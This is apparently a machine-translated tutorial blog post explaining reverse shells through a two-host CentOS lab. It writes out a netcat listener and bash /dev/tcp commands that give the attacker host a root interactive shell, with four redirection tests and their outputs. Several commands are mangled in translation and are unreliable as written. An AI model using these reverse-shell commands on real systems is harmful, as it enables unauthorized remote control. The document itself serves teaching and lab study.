What is a rebound shell?

The reverse shell is that the control end listens to a TCP/UDP port, the controlled end initiates a request to the port, and transfers the input and output of its command line to the control end. The reverse shell corresponds to standard shells such as telnet and ssh. In essence, it is the role reversal of the client and server of the network concept.

Why bounce shell?

It is usually used when the controlled end is restricted by the firewall, insufficient permissions, occupied ports, etc.

For example: suppose we attack a machine and open a port of the machine. The attacker connects the target machine (target ip: target machine port) on his own machine. This is a more conventional form, which is called forward connection. Remote desktop, web services, ssh, telnet and so on are all forward connections. So under what circumstances can the forward connection not be used?

The situation is as follows:

1. A client has your webhorse, but it is in the LAN, and you can't connect directly.

2. The ip of the target machine changes dynamically, and you can't control it continuously.

3. Due to restrictions such as firewall, the other machine can only send requests and cannot receive requests.

4. For viruses and Trojans, it is unknown when the victim can be recruited, what the other party's network environment is, and when to switch on and off. Therefore, it is the best policy to establish a server and let the malicious program actively connect.

Then the rebound is well understood. The attacker specifies the server, and the victim host actively connects to the attacker's server program, which is called rebound connection.

reference resources:
https://www.zhihu.com/question/24503813   

Rebound shell experiment

Environment: two centos7 6 server

• hacker at attack end: 10.201.61.194
• victim: 10.201.61.195

1. The attacker listens to a port:

[root@hacker ~]# nc -lvp 6767
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::6767
Ncat: Listening on 0.0.0.0:6767

2. The injured end generates a rebound shell:

[root@victim ~]# bash -i >& /dev/tcp/10.201.61.194/6767 0>&1

3. The attacker has obtained the bash of the victim:

[root@hacker ~]# nc -lvp 6767
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::6767
Ncat: Listening on 0.0.0.0:6767
Ncat: Connection from 10.201.61.195.
Ncat: Connection from 10.201.61.195:46836.
[root@victim ~]#         //The attacker has obtained the remote interactive shell of the victim
[root@victim ~]# hostname
hostname
victim

Explanation:

1. nc -lvp 6767

-l listen, - v output interaction or error information, - p port. nc is the abbreviation of netcat, which can realize the listening of any TCP/UDP port. nc can be used as a server to listen to the specified port in the form of TCP or UDP.

2. bash -i

-i interactive. That is, an interactive shell (bash) is generated.

3. /dev/tcp/IP/PORT

Special device file (Linux everything is a file). In fact, this file does not exist. It is only an interface implemented by bash to realize network requests. Opening this file is equivalent to issuing a socket call and establishing a socket connection. Reading and writing this file is equivalent to transmitting data in the socket connection.

Analyze the implementation process of rebound shell through the following four small tests:

(PS: pay attention to the sequence of steps)

Test 1:

Victim end:

[root@victim ~]# Bash - I > / dev / TCP / 10.201.61.194/5566 / / step 2
[root@victim ~]# hostname / / step 3
[root@victim ~]#

Attack end:

[root@hacker ~]# nc -lvp 5566 / / step 1

Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::5566
Ncat: Listening on 0.0.0.0:5566
Ncat: Connection from 10.201.61.195.
Ncat: Connection from 10.201.61.195:49018.

victim      //Test 1 Result: the standard output of the victim is redirected to the attacker, but the victim is not controlled by command.

Test 2:

Victim end:

[root@victim ~]# Bash - I < / dev / TCP / 10.201.61.194/5566 / / step 2
[root@victim ~]# hostname / / test 2 Result: it redirects the input of the attacker to the victim, but the attacker cannot see the command execution result.
victim

 Attack end:

[root@hacker ~]# nc -lvp 5566 / / step 1
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::5566
Ncat: Listening on 0.0.0.0:5566
Ncat: Connection from 10.201.61.195.
Ncat: Connection from 10.201.61.195:50412.
hostname        //Step 3 (the attacker executes the command)

Test 3:

Victim end:

[root@victim ~]# Bash - I > / dev / TCP / 10.201.61.194 / 5566 0 > & 1 / / step 2
[root@victim ~]# hostname / / echo command of victim side
[root@victim ~]# id / / echo command of victim end
[root@victim ~]# hahaha / / echo command of victim end
bash: hahaha: command not found        //Echo command at the victim end. Displays the output of the error command.
[root@victim ~]#

 Attack end:

[root@hacker ~]# nc -lvp 5566 / / step 1
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::5566
Ncat: Listening on 0.0.0.0:5566
Ncat: Connection from 10.201.61.195.
Ncat: Connection from 10.201.61.195:36792.
hostname        //Step 3 (the attacker executes the command)
victim
id        //Step 4 (the attacker executes the command)
uid=0(root) gid=0(root) groups=0(root)
hahaha        //Step 5 (execute a wrong command)

//Test 3 Result: the rebound shell function is basically realized. However, the commands executed on the attacker's machine are still echoed on the victim's machine, and the attacker can't see the output of the wrong command.

Test 4 (combine the above three tests. Redirect standard input, standard output and error output to the attack side):

Victim end:

[root@victim ~]# bash -i > /dev/tcp/10.201.61.194/5566 0>&1 2>&1        //Step two. Or # bash - I & > / dev / TCP / 10.201.61.194 / 5566 0 > & 1 (Note: & > or > & indicates mixed output, i.e. standard output 1 + error output 2)

Attack end:

[root@hacker ~]# nc -lvp 5566 / / step 1
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::5566
Ncat: Listening on 0.0.0.0:5566
Ncat: Connection from 10.201.61.195.
Ncat: Connection from 10.201.61.195:51182.
[root@victim ~]# hostname / / step 3. Test 4 Result: the attacker has obtained the remote interactive shell of the victim, and the victim does not echo the command entered by the attacker~
hostname
victim

//PS: it can be seen from the comparison between test 3 and test 4 that standard error 2 not only displays the error message, but also echoes the input command and terminal prompt~~~

Summary:

This paper sorts out some materials of rebound shell and understands the principle of rebound shell through experiments. A deeper understanding of file descriptors and redirections will help you better understand the rebound shell~

reference resources:

https://xz.aliyun.com/t/2549 prophet community: Linux rebound shell (II) the essence of rebound shell
https://www.freebuf. com/articles/system/153986. HTML freebuf: analysis of redirection and rebound Shell commands